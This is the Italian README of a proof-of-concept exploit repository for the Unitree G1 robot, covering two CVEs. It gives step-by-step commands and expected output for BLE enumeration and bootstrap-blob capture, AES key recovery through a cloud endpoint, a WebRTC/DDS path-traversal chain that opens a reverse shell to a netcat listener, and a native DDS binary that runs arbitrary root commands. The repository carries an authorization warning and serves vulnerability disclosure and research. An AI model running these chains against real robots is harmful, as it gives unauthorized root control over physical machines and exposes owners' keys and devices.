
Unitree G1 RCE PoC e Script (CVE-2026-76639 / CVE-2026-76640), dettagli tecnici su boschko.ca/g1-ble-rce/
Dettagli tecnici della PoC e degli script per RCE su Unitree G1 (CVE-2026-76639 / CVE-2026-76640) su boschko.ca/g1-ble-rce/
Usa questo repository solo con robot, account e reti che sei autorizzato a testare. Le catene attive possono modificare la configurazione WiFi del robot, arrestare o riavviare servizi, mandare in crash btgatt-server ed eseguire comandi come root.
| Percorso | Contenuti |
|---|---|
ble-scanning | Scoperta BLE, enumerazione GATT senza pairing, scoperta del numero di serie e cattura del blob di bootstrap cifrato |
cloud-oracle | Riproduzione del flusso storico di recupero delle chiavi tramite /device/bindExtData |
chatgo-bashrunner-rce | Catena di path-traversal DDS incapsulata in WebRTC ed esecuzione di comandi tramite bashrunner |
pure-dds-rce | La stessa catena di servizi DDS implementata direttamente con Cyclone DDS nativo |
ble-full-chain-rce | Catena attiva da BLE a root: bootstrap, recupero delle chiavi dal cloud, provisioning WiFi, divulgazione PIE e overflow BSS |
scanning-tools | Utility di livello inferiore per BLE, DDS, WebRTC ed enumerazione dei servizi usate durante la ricerca |
ble-bss-overflow.html | Analisi interattiva dell'overflow BSS da 1.050 byte in btgatt-server |
Valori come 0xF1 e 0xF2 sono opcode del protocollo di rete BLE. Non sono numeri di finding.
I nomi sono mantenuti coerenti con i componenti distribuiti: btgatt-server è il processo BLE vulnerabile, mentre chat_go e bashrunner sono nomi di servizi/moduli Unitree. L'eseguibile proof-of-concept nativo in questo repository si chiama loco_rce.
Si consiglia Python 3.11 o versione successiva.
Gli esempi di comandi riportati di seguito partono dalla radice del repository. Gli esempi con variabili di shell richieste usano la sintassi Bash.
git clone <repository-url>
cd githubunitreepoc
python3 -m venv .venv
source .venv/bin/activate
python3 -m pip install -r requirements.txt
L'accesso BLE dipende dalla piattaforma host. Su macOS, gli indirizzi stampati da Bleak sono UUID CoreBluetooth anziché indirizzi MAC over-the-air.
Questi helper richiedono la prossimità fisica BLE ma nessun account Unitree, chiave AES o pairing preventivo.
Enumerare i servizi GATT esposti del G1 e i permessi delle caratteristiche:
python3 ble-scanning/01_ble_gatt_enum.py
Recupera il numero di serie del robot:
python3 ble-scanning/discover_sn.py --timeout 30
discover_sn.py controlla prima i dati del produttore BLE. Se l'annuncio non contiene un numero di serie, si connette e prova la richiesta in chiaro 0xF1. Aggiungi --passive-only per disabilitare quel fallback con connessione.
Cattura il blob di bootstrap 0xF2 cifrato con RSA e salvalo per il passaggio di recupero cloud:
python3 ble-scanning/02_ble_bootstrap.py \
--output ble-scanning/bootstrap-blob.txt
L'output tipico è deliberatamente abbreviato qui:
Scanning for a Unitree G1 (10s)...
Found <robot-name> at <BLE-address> (<RSSI> dBm)
Connecting to <BLE-address>...
Sending opcode 0xF2 (0055543235f2fe)
Received 4 notifications
Encrypted bootstrap blob (344 Base64 characters):
<encrypted-blob>
Saved to ble-scanning/bootstrap-blob.txt
Il blob è testo cifrato, non la chiave AES in chiaro.
cloud-oracle/03_cloud_oracle.py riproduce il flusso storico di recupero della chiave dell'app:
GET /system/pubKey.POST /device/bindExtData.I server attuali potrebbero applicare la verifica della proprietà del robot. Utilizzare un account autorizzato per il robot di destinazione.
Eseguire l'helper e rispondere ai suoi prompt:
python3 cloud-oracle/03_cloud_oracle.py --show-http --redact
Chiede l'account, il numero di serie del robot e il percorso del bootstrap-blob. Usa ble-scanning/bootstrap-blob.txt per il file creato sopra. --redact nasconde l'access token e la chiave AES recuperata nella riproduzione curl stampata, rendendo l'output più sicuro da condividere.
Per un'esecuzione privata che stampa la chiave recuperata, ometti --redact:
python3 cloud-oracle/03_cloud_oracle.py
Non incollare token di accesso, credenziali dell'account, chiavi del robot, numeri di serie o blob catturati nelle issue o nei transcript dei terminali pubblicati.
chat_go → bashrunnerQuesto PoC raggiunge i servizi DDS del robot tramite il suo canale dati WebRTC. Richiede la chiave AES-128 del robot di destinazione e un host connesso alla rete Ethernet interna del robot.
Configurare l'interfaccia dell'host in base alla rete di test. Il PoC usa per impostazione predefinita il robot 192.168.123.161 e l'indirizzo di callback 192.168.123.55.
Nel primo terminale, avviare un listener:
nc -lv 4444
Nel secondo terminale, fornisci la chiave AES esadecimale di 32 caratteri senza salvarla nel repository, poi esegui la catena:
read -rsp "Robot AES-128 key: " UNITREE_AES_KEY
echo
export UNITREE_AES_KEY
python3 chatgo-bashrunner-rce/reverse_shell_standalone.py \
<callback-ip> 4444
Previsto output:
[*] Callback: <callback-ip>:4444
[*] Connecting via WebRTC...
[+] WebRTC connected + validated
[*] Starting chat_go...
[+] chat_go alive
[*] Uploading payload (path traversal)...
[+] Payload written
[*] Restarting bashrunner...
[+] bashrunner restarted
[*] Executing reverse shell...
[?] code=TIMEOUT — check listener anyway
[*] Done
La richiesta DDS finale potrebbe andare in timeout perché il riavvio o l'esecuzione del servizio target interrompe il percorso di risposta. Confermare il successo dal listener invece di considerare quel timeout da solo come un fallimento.
Cancellare la variabile della shell al termine:
unset UNITREE_AES_KEY
Il client nativo si connette direttamente al dominio DDS 0. Non utilizza WebRTC né la chiave AES del robot.
L'eseguibile pure-dds-rce/prebuilt_aarch64/loco_rce incluso e il runtime Cyclone DDS sono per Linux AArch64. L'eseguibile si collega a libddsc.so.11; il repository include quel symlink e il suo target libddsc.so.11.0.1.
Su un host Linux AArch64 connesso alla rete Ethernet interna del robot:
Il launcher svuota gli indirizzi esistenti da UNITREE_IFACE prima di assegnare UNITREE_LOCAL_CIDR. Utilizzare un'interfaccia di laboratorio dedicata e verificare attentamente il nome dell'interfaccia prima di eseguirlo.
./pure-dds-rce/run_exploit_c.sh
Esegui un comando diverso fornendo un argomento tra virgolette:
./pure-dds-rce/run_exploit_c.sh 'id && hostname && uname -a'
Il launcher usa per impostazione predefinita l'interfaccia eth0, l'indirizzo locale 192.168.123.55/24 e l'indirizzo del robot 192.168.123.161. Sovrascrivili quando necessario:
UNITREE_IFACE=<ethernet-interface> \
UNITREE_LOCAL_CIDR=<host-address>/<prefix> \
UNITREE_ROBOT_IP=<robot-address> \
./pure-dds-rce/run_exploit_c.sh